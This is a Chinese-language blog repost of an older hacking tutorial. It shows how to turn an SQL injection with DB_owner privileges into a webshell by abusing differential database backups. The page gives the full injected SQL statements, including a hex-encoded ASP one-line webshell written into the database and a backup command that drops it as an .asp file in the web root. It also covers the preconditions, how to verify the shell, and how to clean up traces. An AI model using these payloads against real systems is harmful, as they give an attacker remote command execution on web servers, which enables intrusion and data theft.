2013年6月1日星期六

DB_owner下的权限提升利用备份差异得到webshell

DB_owner下的权限提升利用备份差异得到webshell(图)

时间:2005-06-20 15:25 来源:网管之家bitsCN.com 字体:[ ]
作者:hack520 文章来源:本站原创
  在SQL注入中,碰到的不是SA权限是不是该放弃呢?不用。可以用备份差异拿到webshell,但是拿到webshell的前提条件必须有几个。
第一,要有列目录的权限(能列目录当然不能低于DB_owner),第二,HTTP500错误不是自定义。可能大家不明白这是什么意思。等下我会 说明的。第三,WEB和数据在一块。还有的就是数据库中不能存在%号之类的。不然也是不成功的。第四,数据量不能太大,太大了没法在IE打开。列目录这个 权限可有可无,但是你得知道WEB路径。
现在我在本机做个演示,我是用动力文章系统3.51 SQL版做测试的,大家都知道老版的动易打印页面存在注入漏洞吧?这里我就不刻意去找点了。直接拿NBSI注入,看到没有?DB_owner权限,如图1
 

WEB路径我就不找了,自己本机架设的平台。路径是C:\Downloads\ChinaDownZ_I_3050\34d\  现在开始提交url如图2
 

declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x737339343834 backup database @a to disk=@s-- 备份当前数据库,以差异备份. 0x737339343834这里是备份的库名转换成16位进制。还有要注意的一点是,当遇到字符型的注入点时要在:号前加一'号也就是 htttp://local/1.asp?id=aa';这样

Drop table [hack520];create table [dbo].[hack520] ([cmd] [image])--
建表加字段..这个不用说了吧?稍微有点基础的人应该看得懂

insert into hack520(cmd) values(0x3C2565786563757465207265717565737428226C2229253E)--
写入蓝屏木马 0x3C2565786563757465207265717565737428226C2229253E这是一句话木马蓝屏的16位进制代码
好写完之后。开始第4步也是最关键的一补bakshell,如图5

declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x433A5C446F776E6C6F6164735C4368696E61446F776E5A5F495F333035305C3334645C37373136392E617370 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT--      备份得到shell
0x433A5C446F776E6C6F6164735C4368696E61446F776E5A5F495F333035305C3334645C37373136392E617370 这些乱78遭的东西就是C:\Downloads\ChinaDownZ_I_3050\34d\77169.asp的16位进制编码 就是webshell的路径
好我们用NBSI列下目录,看看有没有77169.asp这个文件,如图6
 

看到没有?文件存在,然后你在IE打开,会出现一大堆乱78糟的东西,你就不管它,拉到最后一行。如果看到 Microsoft VBScript 运行时错误 错误 '800a000d'
类型不匹配: 'execute'
/77169.asp,行 2089 就是成功插进去了。如图7
 

如果不出现这些那就基本是没搞了。还有。插进去了之后,还不一定可以用客户端再写入大马,为什么呢?我说一下,要不就是磁盘没写入的权限,要不就 是他把FSO删了,就这两种情况。蓝屏木马怎么使用我这就不说了,用客户端连上URL就是.好了到此结束。别忘记了删刚刚建立的表 Drop table [hack520]--        OK。

没有评论:

发表评论